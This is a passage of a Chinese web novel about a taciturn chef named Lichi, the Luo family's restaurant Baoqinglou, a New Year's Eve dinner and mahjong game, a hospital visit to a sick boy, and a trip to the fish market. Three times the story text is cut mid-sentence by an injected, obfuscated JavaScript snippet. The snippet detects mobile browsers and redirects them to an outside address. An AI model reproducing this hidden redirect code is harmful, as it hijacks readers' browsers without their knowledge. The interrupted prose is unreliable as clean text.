因为他知道,在他们的眼中,他和一只漂亮的阿猫阿狗没什么区别。 这是黎祁第一次感受到简单的真诚。 他接过洛苏手上的粥,并没有吃,只是轻轻摩挲了几下碗,就放在一旁。 “怎么不吃?虽然我的手艺没法和你比,但是你放心,煮粥我还是有经验的,而且小菜是我爸腌制的,清脆爽口,很开胃的,客人都很喜欢。” 洛苏以为黎祁嫌弃她的手艺,好奇地解释。 “不是,我只是没想到。”黎祁摇头轻笑了一下。 “没想到什么?” “原本我以为你是个衣来伸手饭来张口的大小姐。” 黎祁回想第一次见到洛苏的情景。 她太直接了。甚至连自己的姓名都不知道就敢请他回家当厨师。第二次,她死皮赖脸帮自己干活套近乎,被自己冷待也没气馁。第三次,她明明举报了自己转脸又低声下气讨好,变脸比翻书还快…… 这样不屈不挠又不见棺材不掉泪,除非是家境优越、无任何后顾之忧的大小姐,他想不出洛苏会出生在怎样的家庭。 “怎么?现在发现原来我只是个跑堂的小二?” 黎祁扯扯嘴角,眉心微拧:“没想到你也会干这么多活。” 才一天的相处,黎祁已经完全推翻了他对洛苏的认知。她收银、打扫、采买……似乎哪里需要她,她就能及时支援。不被允许进厨房学做厨,但是也会偷偷学着熬粥。 “这有什么?再说坐着当老板有什么意思,我挺喜欢帮我爸妈干活的。小时候他们特别忙,没时间管我,我就自己在院里玩,把包菜当球踢,把萝卜当棍子耍。再说,子女长大了不就得帮父母分担吗,我们家的家训就是‘自己动手丰衣足食’,洛家不养闲人,哈哈……” 黎祁点点头,没有搭话。 “你呢?跟父母住?”洛苏对黎祁感到很好奇,尤其是那个藏着掖着的孩子。 黎祁端起那碗粥:“我该去收拾厨房了,谢谢你的粥。” 洛苏看着他的背影,感到了强烈的拒人于千里。 她耸耸肩,起身拍拍屁股,大步跟在他后面回了屋里。 接下来的几天是餐饮业的黄金时间,快到除夕了,请客吃饭的、单位聚餐的络绎不绝。宝庆楼价位适中,都是本地家常菜,老字号有保证,生意明显红火了许多。加上还有单独订购鱼丸的,后厨这几天忙得不可开交。 中午休市也没能休息,老豆在分鸡蛋,冬瓜在打鱼糜,黎祁捏鱼丸,洛玉柱掌控火候,这是一条分工明确又合作无间的流水线。 “冬瓜,注意力道,要用巧劲,别用蛮力,否则要不了一会儿你就没力气了,都说了多少次了!” 洛玉柱叹气,有点恨铁不成钢。 黎祁的鱼丸已经捏完了,可因为鱼糜还没打好,他被迫闲下来。 “要不,我来吧?”他走到冬瓜身边,主动提议。 洛玉柱有点意外,一周的时间不长不短,但也足够他大致了解一个人。 黎祁干活没话说,效率高质量好,归属他分内的事情,他绝不推诿拖拉。但是,不归他干的事情,他也绝不越俎代庖。 洛玉柱明白了,他是一个技巧完美的机器,对宝庆楼,他没有感情。 这是标准的打工人心态。 不过当老板的,只要员工干好了分内事就应该心满意足。指望员工爱公司,那就要看老板自己的本事了。 所以黎祁主动开口揽过不属于自己的活儿,洛玉柱真的有点吃惊。 冬瓜停下动作,不知道该不该听黎祁的。按照职位,黎祁是大厨,他是助厨,应该听黎祁的。可论资排辈,他是这里的老员工,又是洛玉柱的徒弟,让他听命于黎祁,面子上觉得挂不住。 洛玉柱颇感有趣地拍拍冬瓜的肩:“也好,你去休息一会儿,让小黎来。” 冬瓜失落地走开,洗干净手,又不甘心地站在一旁,有意无意地偷看黎祁的手法。 他用的是巧劲,鱼糜在他手上仿佛成了可以任意拿捏变幻的泥巴。 每每落在盆底,都发出一声沉闷又结实的响声。几十下抡完,他面不改色,脸不红气不喘。 洛玉柱满意地点头。许多人认为打鱼糜是纯粹的体力活,这话对也不对,力气当然是需要的,但如果只会用蛮力,打出来的鱼糜不够均匀,自己也会累得不行。但是到底怎么用巧劲,只可意会不可言传,需要自己去领悟去感受。所以这么多年过去了,冬瓜始终没找到窍门。 黎祁真是做厨的天才!洛玉柱忍不住在心里感叹。 技巧通过长时间的苦练可以掌握,但是天赋却没办法后天弥补。有的人有天赋,味觉手感惊人,但是懒于练习,有的人认为勤能补拙,技巧无可挑剔,但是只会刻舟求剑,不会变通。 顶级厨师,技巧和天赋缺一不可。 鱼丸做好了,男人们自去休息,洛苏和菜菜、丸子来称重打包。 隔壁王婶儿正好来拿订好的鱼丸,见院里多了一个帅气年轻的小伙子,穿一身厨师服却不油腻,好奇地问苏爱云:“这小伙子是谁?新来的?” 苏爱云一脸得意:“对啊,新来的厨师。” 王婶儿忍不住凑近点小声说:“长得真称头!简直不像做厨的。” 苏爱云白她一眼:“做厨的怎么了?就得油腻腻脏兮兮的吗?我们家老洛年轻的时候你不是也见过?” 王婶儿自知嘴瓢了,急忙解释:“我不是那个意思!就是觉得小伙子太帅了,哪儿找来的啊?我也想找一个帮工,你不知道,现在都是看脸吃饭,有帅哥的店生意都比别人好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207645|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏爱云点头认可:“是这样,我们家最近生意也好了些,说不定就是你说的这个原因。小伙子是我们家酥酥找来的,厨艺一流,不信你试试?” 她抓起一个刚出锅的鱼丸,送到王婶儿嘴边。 王婶儿吹着气咬了半颗,眼睛瞪得老大:“好吃!是这小伙子做的?” 苏爱云更得意了。 “你不说我以为是你家老洛做的,小伙子真不赖!” “那你还不加点?” 王婶儿瞄了瞄黎祁认真干活的身影,嘴角勾起一抹笑:“那就再加十斤!” 她提着大袋子满载而归,嘴里一路嘀咕:“长得又帅干活又好,打着灯笼也难找的上门女婿……” 除夕,宝庆楼关门歇业。按照惯例,每年的除夕中午,都是宝庆楼吃年饭的时间。 在餐馆上班的人,对吃的多半已经免疫。他们期待的不是丰盛的年饭,而是年终奖。 洛玉柱、黎祁、冬瓜三人合力做了满满一大桌丰盛的菜肴,大家团团围坐,享受这期盼已久的时刻。 打工人忙碌了一年,总是希望能够忙有所得的。 洛玉柱知道大家所盼所想,吃饭前就摸出了准备好的红包。 六个红包,包括洛苏那份,她也算半个员工。 菜菜兴奋地拆开,发现如她所愿,比往年多了一些,兴奋得大叫。 老豆没成家,过年也从不回老家,接过红包转手就塞了一半给洛苏,“酥酥,这是窦哥给你的压岁钱,别嫌少。” 洛苏习以为常,假模假样推拒一下,就接过了。不接会伤了老豆的心,但她会在合适的时间再添点钱,买个礼物送给老豆,有时候是一件大棉袄,有时候是别的什么,总之,她不会白拿老豆的辛苦钱。 丸子和冬瓜见怪不怪,纷纷感谢洛玉柱,脸上溢满了笑容。 “小黎,这是给你的红包。” 洛玉柱最后递给黎祁一个明显要厚一些的红包。 黎祁愣住,不知道该不该接受。 上一次收到压岁钱,还是十多年前。 除夕夜,所有的孩子都会收到压岁钱,很少,但是也足以让他们欢呼雀跃。 不过,在老师们看不到的时候,大孩子就会抢走小孩子的压岁钱。 他那个时候太小,没有保护自己的能力,压岁钱总是被抢走。 久而久之,压岁钱对他来说不再是喜庆的标志,而是预示着他又会被欺负。 黎祁顿住,呆呆看着眼前的红包。 “怎么发呆啊,还不快收下,可是大红包喔!” 坐在他身边的洛苏碰碰他的胳膊,强行把红包塞到了他的手里。 “宝庆楼的传统,新来的人拿最大的红包。今年小黎的红包是最大的。” 洛玉柱笑呵呵地解释。虽然是对着大家说的,但分明是说给黎祁听的。 黎祁握着红包,感到有些不知所措。 这里真是个怪地方,新来的人居然不会被欺负,反而能享受优待。 “来,我们干杯,祝大家在新的一年身体健康、万事顺意,希望咱们宝庆楼生意兴隆、蒸蒸日上,大家都能涨工资!” 洛苏举起装着可乐的酒杯,脸上洋溢着明快的笑容,看着身边的黎祁。 毕竟,春天马上就要来了呢。 9. 留住他 洛玉柱平时不喝酒,但是会在吃年饭的时候喝一点助兴。他喝了酒,话就开始多起来。 “老豆,你也该找个媳妇儿了。” 惹来女儿和妻子双双白眼。这是老豆最大的憾事,随着年龄的增长,他几乎已经放弃了成家的希望。对他来说,宝庆楼就是他的家。 “丸子,你减减肥其实也挺漂亮。” 丸子刚刚夹起来的一块粉蒸排骨掉落在桌上。 “菜菜,有时间考个成人本科,女孩子还是要多读点书。” 菜菜默默放下了正在刷的霸总短视频。 “冬瓜……” “少说话多吃菜!” 苏爱云往洛玉柱碗里夹了个糯米丸子。 洛玉柱哈哈笑着咬了一口,识趣地闭上了嘴。 “小黎啊,来了咱们宝庆楼就把这里当自己家,别见外。你怎么吃这么少?一米八几的大个子,吃这么少怎么行?来,喝碗汤。” 苏爱云嘴上说人,自己也不消停,主动给黎祁盛了一碗排骨藕汤。 排骨藕汤是本地特色菜,因为要用本地特产粉藕制作。莲藕淡淡的清香和排骨的肉香结合在一起,出锅前再撒点小葱,汤浓而不油,肉香而不腻,一碗下肚,全身暖烘烘的。 洛玉柱的排骨藕汤也是一绝,他不用高压锅也不用电炖锅,嫌炖出来的藕汤没味儿。每天清晨就用土砂罐和小炭炉慢慢炖上,每天三罐,通常都热卖一空。 高压锅、电炖锅炖得快,但和土砂罐炖出来的味道有天壤之别,一尝便知。许多食客都是冲着这一口地道的藕汤来的。 即便有剩余的卖不完,也不担心浪费。第二天早上加点挂面一煮,面条吸饱汤汁,有滋有味,热乎乎吃上一大碗,一整天干活都精神满满。若是有剩饭,放在汤里煮个藕汤烫饭也是冬天里的一顿美味。 黎祁没做过这道菜。 他点头致意,接过藕汤喝了一口。暖意在口腔里蔓延,渐渐弥漫到胸腔、脏腑和四肢。 “怎么样?好喝吧?” 洛苏得意地问他。 排骨藕汤是她的最爱,上大学的时候,每次寒假回家她首选的接风菜必然是排骨藕汤。好像只有那一碗汤下肚了,才真切地感觉到放假了,回家了。 曾经她试过学校的排骨藕汤,藕是脆的,汤是寡淡的,完全不是她记忆中的味道。 黎祁“嗯”了一声。 好喝是好喝,但也不至于天上有地下无。他瞟了瞟洛苏那骄傲的表情,心里有点想笑。 “小黎,父母是做什么的啊,过年有什么安排没有?”洛玉柱半杯酒下肚,又开始滔滔不绝了。 洛苏紧张地瞄瞄黎祁,见他面不改色,并没有要发作的样子,心里松了一口气。 当初两人就说好了,一手交钱一手交人,至于别的,你可以问,但我可以选择不回答。 想到这,她忍不住竖起耳朵,却装作不在意的样子吃菜。 “我没有父母。” 黎祁轻描淡写,一语带过,脸上看不见任何悲伤难过,也看不出别的什么情绪,仿佛只是在说“你好”“再见”。 洛苏微愣,依旧漫不经心吃菜,心里细细咂摸他的话。 没有父母。 是曾经拥有后来失去,还是从来就没有呢? 可怎么会有人没有父母呢?又不是从石头缝里蹦出来的。 她突然有点理解他的怪脾气。 洛玉柱的筷子顿了顿,咧开嘴角笑道:“以后就当这里是你的家。” 黎祁不语,默默端起杯子喝了一口白开水。 父母、家,对他而言都太过遥远和虚幻了。 他还记得小时候经常会有人到孤儿院慰问,但每当有人想要抱一抱他们这些可怜的孩子,孤儿院的老师就会出来阻止。 他那个时候不懂,以为孤儿院的老师太过冷血和残忍,连被人抱一抱这个微小的愿望都不允许被满足。 等他长大了离开了孤儿院才知道,有些美好的感觉不知道比知道好。不知道就不会渴望不会失望,曾经拥有却留不住,并且再也不能拥有,那种感觉才是最可怕的。 他庆幸他从来不知道父母是谁,也不知道有家的感觉。 吃完年饭,大家又闹着打牌。 洛苏撸起袖子,大马金刀地抬起一条腿踩在椅子上,像个女土匪那样吆喝:“来来,等会儿把你们的钱都输给我了可别哭!” 黎祁挑眉,略微惊诧地看着她凶悍泼辣的背影。 初见时,他以为她和那些偷拍他的女孩一样,肤浅又讨厌。 后来,看她不屈不挠地挖墙脚,又能干地忙里忙外,颇有点老板娘的架势。 而此刻的她,像一个山大王。 黎祁突然有点好奇,这个人到底还有多少面孔? 冬瓜不擅打牌,又不懂拒绝,每次都硬被凑角,然后把发的年终奖输得精光。 老豆没别的爱好,就喜欢打牌,自诩“赌神”。牌局上必有他的一席之地。 三缺一,菜菜和丸子相视一眼,又一齐看向黎祁。 菜菜不敢打牌,怕输了钱心疼。 丸子哭丧着脸,她准备年后报个减肥训练班,正需要花钱呢。 没人敢让黎祁凑局。 洛苏知道大家在想什么,主动起身把黎祁往牌桌上推。 大家目瞪口呆,像呆头鹅一样傻傻看着她和黎祁。黎祁来了一周,除了老板一家三口,他几乎没主动和其余人说过话。更别说有肢体接触。 菜菜尝试过主动和他说话,问他放假了干什么,他回答“不干什么”,问他喜欢吃什么,他回答“没有喜欢的”,问他有没有女朋友,他直接装听不见。 菜菜本就胆小,直接患上了后遗症,再也不敢主动和他说话。 即便是在厨房不得不和他接触的冬瓜,也只得到过他的“是的”“不是”等不超过三个字的回应。 见他被洛苏推搡居然不排斥,不由得纷纷像见了新大陆一样。 “世界上最痛苦的事就是三缺一,可别扫兴啊,你会不会?不会让你一圈,不收你钱。” 黎祁侧身躲开洛苏的触碰,罕见地冷笑一下:“等会儿你输了钱别哭。” 职校不仅教厨艺,也教牌技。 四圈麻将打下来,洛苏一改先前的大将之风,气得哇哇乱叫。 黎祁十局九胜,几乎把他们三个人的钱都赢走了。 老豆摆手:“不玩了不玩了,再玩下去裤衩都输没了。” 冬瓜垂头丧气,他没想到在新的领域,黎祁也比他强。他好像是那个注定的背景板,本来没有黎祁,他只是不那么出众的男配,有了黎祁,他彻底成了路人甲。 洛苏不服:“看不出来,你这么会打牌。” 黎祁瞟她:“你看不出来的东西多了去。” 他把赢到的钱整理好,却不装进口袋。 “窦哥,冬瓜,过年打牌就当取乐,我不能拿你们的钱,大家赚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207646|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱都不容易。” 他把冬瓜和老豆的钱还了回去。 老豆输了钱却不输人:“那不行,愿赌服输,输了就是输了。” 冬瓜也摇头拒绝。 黎祁想了想又说:“那就算我给你们的红包,你们要是不收,就是看不起我。” 这下老豆和冬瓜只得收了。老豆兴致勃勃地看着眼前的年轻人,本来只觉得他是个有个性有本事的人,没想到真有点古惑仔的义气。 冬瓜看着黎祁,他高瘦,更加衬得自己矮胖,他帅气,自己其貌不扬,不管怎么比,自己都不是他的对手。可突然间,他有点服气。不是因为几百块钱,而是因为别的什么。他想了想,如果他是个女人,大概也会喜欢黎祁,和花痴的菜菜没什么区别。 他忍不住在心里骂自己没出息。 洛苏抗议:“你怎么不把我的钱还给我?” 黎祁睨她:“是你找我打牌的,不是我找你,愿赌服输。” 洛苏气得哑口无言。心里暗骂,看不出来,还挺会收买人心的呀! 时间不早了,大家开始收拾东西准备回家过年。菜菜要去车站坐车,冬瓜和丸子就是本地人,老豆哪儿都不用去,宿舍里窝几天就算过年了。 大伙儿提着洛玉柱发的过年礼物,喜气洋洋地离开。只有黎祁,他没要礼物。 “带回家给家里人尝尝,也算是我这个当老板的心意。”洛玉柱劝他。 黎祁摇头:“谢谢您,不过我一个人住,用不上,免得浪费了。” 洛玉柱的心没由来地更软了。一个没有父母依靠扶持的孩子,不仅学了一手好本事还有良好的品格,这十分难得。 他掏口袋又摸出几张票子,往黎祁手里塞:“这是我单独给你的压岁钱,别当是老板给员工的,就当是叔叔给侄子的。” 黎祁后退一步,坚决推拒。 他明白洛玉柱的善意,但是并不需要。他讨厌别人同情他。 洛苏看出他被触碰到了逆鳞,上前拦住洛玉柱的手,笑嘻嘻地岔开话题:“爸爸,你偏心!” 洛玉柱悟过来自己的举动有些鲁莽,马上顺着女儿的话说:“偏这一次就被你抓到了,小黎是我们宝庆楼的支柱,我偏他很正常,平时偏你还偏少了?” “那他是我找来的,不是更应该奖励我吗?”洛苏霸道地把钞票抢到手里,迅速塞进了兜里,故意做出一副小气模样。 苏爱云无奈摇头,拍拍黎祁的肩头,和蔼地说:“要是过年没什么事就来家里串门,老豆也不回家的,大家一起过年热闹。” 黎祁点头,但洛苏知道,他只是出于礼貌,加上不知道怎么应付她妈这样的中年妇女。他才不会来呢! 目送黎祁离开,一家三口收拾好店面,准备过除夕。 洛玉柱还喋喋说个不停,一会儿感叹黎祁身世凄苦,一会儿赞叹他厨艺高超天赋出众。 洛苏无情吐槽:“要是冬瓜能有他一半聪明就好了。” 苏爱云点头表示赞同,转念又摇头:“那可不,冬瓜要是有他那么聪明,早就自立门”户了,那咱们更缺人了!” 洛苏心里一沉,糟糕,高兴得太早。黎祁只答应在这干一年,一年以后怎么办? 得想办法留住他才行。 老板要留住员工,自古以来只有两种办法。 金钱留人,感情留人。 和黎祁谈感情? 洛苏忍不住感到一阵恶寒。还是金钱留人比较现实。 10. 榨干他 一年之中,医院最冷清的时候应该就是过年。只要不是病入膏肓,病人和家属都会想尽办法在过年前出院,不论好歹,在家里过一个团圆年,讨一个来年平安顺遂的好意头。只有那些实在出不了院的人,才会在病房过年。 儿童病区很安静,平时这里是最吵闹的,笑闹声、哭叫声不绝于耳,今天,连走廊都没有几个人影。 护士台里有一个值班护士,见黎祁来了,微笑着和他打招呼:“来看小橙子啊,他今天状况还不错。” 平时几个小护士没少讨论黎祁和那个病重的小孩是什么关系。 他不负责签字,却尽心尽力,据说手术费都是他出的。 一个年轻帅哥和一个可爱小孩,各种狗血的猜想从来没停止过。 黎祁也浅笑一下当做回应。自从去了宝庆楼,他没办法经常来医院。晚上下班太晚,病房已经谢绝探视,每周休息的那天才能来医院,算起来他已经有好几天没看小橙子了。他不在的时候,多亏这些护士照顾小橙子。 他把在医院门口买的水果放到护士台上,语气诚恳:“今天除夕,买了点水果送给大家,谢谢你们对小橙子的照顾。” 护士想要拒绝,他摆摆手,快速转身往病房走去。 他刚推开门,病房里就响起欢快又稚嫩的童声:“爸爸——” 病房像个雪洞,消毒药水的味儿扑鼻而来,只有靠窗户的床上躺着一个瘦小的男孩,其余的床都整理得干净整齐,显然已经没人住了。 小男孩头发乌黑,更显得小脸苍白,细细的胳膊从被子里伸出来,努力想要坐起身,奈何力气不够,又跌了回去。 “快躺好。”黎祁三步并作两步来到床边,握住小男孩的手。 “爸爸,你好多天没来看我了。”小男孩撅起嘴,委屈得快哭了。 “我上班忙,这不是来了吗?你吃晚饭没有?奶奶呢?” 黎祁揉揉他的小脑袋,满脸怜爱,和那个冷若冰霜的人判若两人。 “还没有,奶奶打水去了。” 小男孩话音刚落,病房门又被推开了。 “小黎来了呀!” 满头白发的老人拎着开水壶走了进来,尽管病房有空调,可还是带进来一阵寒气。 老人忍不住咳嗽了两声,拽了拽起了毛的旧棉袄下摆。 “周姨,您吃饭了吗?我带了吃的来,您和小橙子一起吃点吧?” 黎祁打开带来的三层饭盒,浓浓的香气瞬间充斥在房间里。 他赶回家做了三个菜,又打包好带到医院。今天是除夕,他想做一顿好吃的给周姨和小橙子。 “好香!我饿了!” 小橙子闻到香气兴奋地大喊,可能是触动了伤口,连连咳嗽。 黎祁按下他,耐心哄道:“我做了青菜瘦肉粥,医生说你刚做完手术,要吃清淡好消化的,等你病好了,我再做好吃的给你吃。” 小橙子明明闻到了红烧肉的香味,却不能吃,不高兴地撇撇嘴:“爸爸——” 周姨嗔怪又怜爱地看着小橙子,不好意思地解释:“这孩子,又乱喊……小黎你别介意,他从小就没父母……” 周姨声音哽咽说不下去了。 从小就没父母,最大的希望就是像别的小孩一样有爸爸和妈妈。 小橙子襁褓丧父,她中年丧子,说不出谁更可怜。 黎祁摇头:“没事,小橙子高兴就好。” 叫什么对他来说没有区别,叫哥哥或者是叫爸爸,不过是一种称呼。 他和这个世界本来没有联结,要不是在棚户区两年的相处,他就是孑然一身,没朋友,没家人,真比较起来,他比小橙子更可怜。 他不需要任何人,但第一次感受到被需要。只有强大的人才会被需要,而弱小的人只会被嫌弃。 他经历过的事情不想小橙子再经历。小孩是这个世界上最无辜的人。 小橙子乖乖喝粥,小嘴砸吧不停,长长的睫毛忽闪忽闪,很快就喝完了一碗粥,心满意足地靠在枕头上。做完手术虽然还很虚弱,但以前那种动不动呼吸困难的感觉消失了。医生说,用不了多久,他就可以和别的小朋友一样,踢足球跑步…… “哥哥,你是不是很高兴啊?” 小橙子只要开心了,就喊他“哥哥”,只有不开心的时候才会喊他“爸爸”。 黎祁没察觉自己一直噙着笑意,疑惑回答:“怎么这么问?” 小橙子指指他的嘴角:“你一直在笑呢。” 周姨边吃饭边搭话:“是呢,你今天看起来心情很好,有什么喜事吗?” 黎祁怔了怔,他不觉得有什么喜事,非要说喜事,那就是小橙子手术成功。可那已经是几天前的事情了。难道是因为赢了洛苏的钱?把她气得吱哇乱叫? 不可能。 “小橙子手术成功就是最大的喜事。”他赶走脑子里离奇的想法。 周姨感慨道:“是呢,多亏了你,要不然我去哪筹那么多手术费。也不知道怎么还你,小黎,你别笑话周姨,以后你要是有什么需要周姨帮忙的说一声,周姨……” “周姨,别这么说。小橙子也算是我看着长大的,我一直把他当成亲弟弟,你别想着还钱,我暂时也没什么地方需要花钱的。” 周姨忍不住擦眼泪,她半生孤苦,本以为依靠着儿子能过完下半生,谁知道工地一场意外,白发人送黑发人,儿媳妇生下孩子就跑了,留下她寡妇弱孙相依为命。 孩子天生就有心脏病,勉强养到了六岁,发病几次差点没了,医院说再不做手术随时有生命危险。可让她一个寡妇去哪里凑三十万的手术费呢? 黎祁对小橙子来说,无异于再生父母,有再造之恩。 “小黎,你现在工作还顺利吧?”周姨见他一直带着笑意,也有点好奇。 黎祁并不是爱笑的人。哪怕对小橙子,大多时候也只是表情温和。 “还行,比以前摆摊稳定,不用自己操心生意好坏。就是没以前那么自由,周姨你要有什么事给我发信息,我看到了第一时间给你回电话。” 厨房不能带手机,忙完一轮通常都是几个小时之后。黎祁喜欢摆摊,来去自由,无拘无束。为了小橙子的手术费无奈折腰,不过一个星期相处下来,倒没他想象的那么不自在。 洛玉柱是个好老板,苏爱云也是个和气的老板娘,其余人要么傻乎乎,要么一根筋,他板着一张脸,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207647|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就缩到一边不吱声。 除了洛苏,其实这样的工作环境还不错。 “哥哥,我病好了也可以去上学吗?”小橙子放下图书,期盼地看着黎祁。 他一直没上过学,周姨一个人打零工养他已经用尽全力,根本没多余的钱送他上幼儿园。只能在闲暇时给他买点简单的图书,自己教他认字。 小橙子爱看书,现在已经自学认识了一些字。看到书里面小孩子背着书包去上学,心里向往得不得了。 “当然可以,到时候你就和别的小朋友一样,上小学,上初中,以后还要上高中上大学。” “我一定好好学习,不给你丢脸!”小橙子握紧拳头,皱着小脸,信誓旦旦的模样逗笑了黎祁和周姨。 过年最快乐的就是等待过年的那段时间,一旦过了除夕,日子就像流水一样飞逝,拦都拦不住,甚至感受不到时间的存在。 洛苏每天睡到日上三竿,年前那几天着实累着了。接到施蜜电话的时候,她还在做着一个和帅哥腻歪的美梦。 “起床啦!去逛庙会!” “扰人春梦,你太缺德了!” 洛苏把手机拿远点,施蜜的大嗓门差点把她耳膜戳破。 “春梦?哈哈哈……你别笑死我了,你个二十四年的母胎单身,还好意思跟我说春梦。” “母胎单身就不能做春梦?”洛苏嘟囔,无力反驳。 母胎单身怎么了?说明她要求高,宁缺毋滥! “来跟我说说,你春梦对象是谁?我保证不外传!” “帅哥,具体长什么样看不清,这种事情讲究的就是意境,一旦看清了脸就没意思了,万一是认识的人多倒胃口。” 两人就春梦对身体健康的重要意义进行了一番探讨,最后才约好见面时间和地点。 “你家帅哥大厨用得怎么样啊?” 施蜜对黎祁印象深刻,之前别人上传的视频下面还有人在追问,那个有型的帅哥怎么不摆摊了?然后下面一堆猜测。 她绘声绘色说给洛苏听,两人笑得前仰后合。 “生意是好了一点,我现在发愁怎么留住他。” 洛苏一次性支付了一年的薪水给黎祁,她知道他肯定是急着用钱,不然不会同意来宝庆楼当厨师。 砸钱留住他倒不是不可能,可关键是她哪有那么多钱啊? “他跟个艺术家似的,视钱财如粪土,不会轻易为五斗米折腰的啦,我觉得你倒不如试试感情留人,进入他的内心,融化他的外壳,最终把他变成自己人,这样连薪水都不用付了,白赚一个厨师和……” 施蜜一脸坏笑建议。 “滚!”洛苏冷冷白她一眼。 “那你就等着破财吧,还不一定能留住他。他有颜值有手艺,这年头要变现太容易了,只要他愿意,开直播都能有无数富婆打赏。既然愿意辛辛苦苦在街头摆摊,那就说明他根本不在意钱多钱少。我怕你再翻一倍也留不住他,等他过了眼前的难关,跑得比谁都快。到时候你不是又要招大厨?” 一语惊醒梦中人。 行,既然留不住,那就在这一年里榨干他的价值。 施蜜看着洛苏阴恻恻的笑容打了个寒颤。 11. 黑心 宝庆楼作为本地有名的家常菜馆,除了鱼丸和排骨藕汤这两样招牌菜,还有一样本地人爱吃的河鲜——清蒸大白刁。 大白刁对水质要求极高,一般菜馆嫌活鱼成本太高,通常选用冻货。冷冻大白刁做清蒸口感欠缺,香煎能掩盖不够新鲜的缺陷。所以能做清蒸大白刁的菜馆,不论是档次还是厨艺,都更具有竞争力。 洛玉柱以前是做这道菜的行家。但自从身体不好,餐馆的生意日渐冷清,这道菜就从菜单上撤了下来。 活水养大白刁的成本太高了,万一死个几条,更是得不偿失。他又不想降低水准,用死冻鱼做香煎大白刁,索性撤了这道菜。 现在生意眼看着好起来了,他又有点蠢蠢欲动。宝庆楼三宝,缺了一宝总觉得不够圆满。 “小黎,你会做清蒸大白刁吗?” 如果重新上这道菜,除了自己,还得有人会做才行。洛玉柱曾经也把做这道菜的诀窍传给冬瓜,可冬瓜就是掌握不好火候。 蒸菜没什么窍门,主要全靠火候。可他愚钝,怎么也掌握不好,不是蒸老了就是没熟透。 黎祁“嗯”了一声。 职校读书全靠自觉。该教的东西一点不少,但能学进去多少就看自己。 “酥酥,等会儿去买一条大白刁回来,要活的。晚上咱们加菜!” 老豆、菜菜都欢呼起来。丸子放下筷子,忍痛决定中午不吃饭,晚上吃两碗。 大白刁不便宜,即便老板人好也不会轻易拿来给他们吃,何况撤下菜单已经几年了,今天算他们有口福了。 吃完饭,洛苏就准备去鱼市买鱼。 冬瓜被老豆推了一把,上前嗫嚅着:“酥酥,我……我跟你一起去。” 黎祁解开厨师服,突然插话:“我也去鱼市看看。” 好的厨师肯定也是好的采买。不仅要会做,更要会挑选食材。本地鱼丸一般选用鲢鱼,大白刁他做得不多,去鱼市看看也好。 三人正准备出门,洛玉柱叫住了冬瓜。 “冬瓜,厨房还没收拾呢!” 冬瓜只得怏怏应了一声,去打扫厨房。 洛苏喜欢逛菜市场。热闹,有烟火气。大叔大婶们嗓门一个比一个大,许多老熟人,见了她就热情打招呼,这个送一把葱,那个送几头蒜,都是人情味。 今天见她身后跟了个高大帅气的小伙子,纷纷笑问:“酥酥,这是你男朋友?” 黎祁不自在地扭开头。可在街坊们眼里就是害羞,越害羞他们越起劲。 洛苏看到他白皙的脸上闪过一抹绯色,心里狂笑,脸上却不露分毫,假装尴尬地摆手:“不是不是,我们家新来的厨师。” 街坊们都不信,打趣:“哟,这么帅的厨师啊,那改天要去尝尝他的手艺喽,和你爸爸比怎么样啊?” 洛苏竖起大拇指,热情回应:“都是这个!” 街坊们哈哈大笑,好奇又八卦地目送她和黎祁离开。 “你们很熟?” 直到走远了,黎祁才低声问。 他也常去菜市场,但是从来没和菜市场的商户说过买菜以外的话,每次买完就匆匆离开。他第一次看到有人进菜市场和回自己家一样,热络自在,欢声笑语。 洛苏点头:“对啊,我们家一直在这个市场采购,很多人都是合作了几十年的朋友,虽然有金钱来往,但其实和朋友差不多,他们都是看着我长大的。怎么,你作为一个厨师不和菜市场的人搞好关系吗?那你怎么买到又便宜又好的菜?” 黎祁面无表情:“买菜用的是钱,不是感情。” 洛苏“嗤”了一声,循循善诱:“话是这么说没错,但你买鱼三十一斤,我买可能只要二十五,你买的是快死的,我买的是活蹦乱跳的,这就是区别。如果花钱又能交朋友,何乐而不为?” 黎祁不说话。能花钱解决的事情为什么要投入感情?投入感情就会想要回报,一旦没有回报或者回报不如预期就会心生怨怼,那还不如一开始就亲兄弟明算账。用钱把大家的关系界定清楚,各自明白,不要越界。 鱼市污水横流,但鱼翔浅底一派生机勃勃。 卖鱼的显然也和洛苏很熟。 “酥酥来买鱼啊,今年的鱼丸很好吃噢,我那些亲戚都赞不绝口,我说那当然,我卖的鱼又新鲜又干净,做出来的鱼丸当然好!” “那您今年再多买一些鱼丸呗,我们家买您的鱼做鱼丸,您再买我们家的鱼丸回去吃,实现绿色内循环,双赢。” 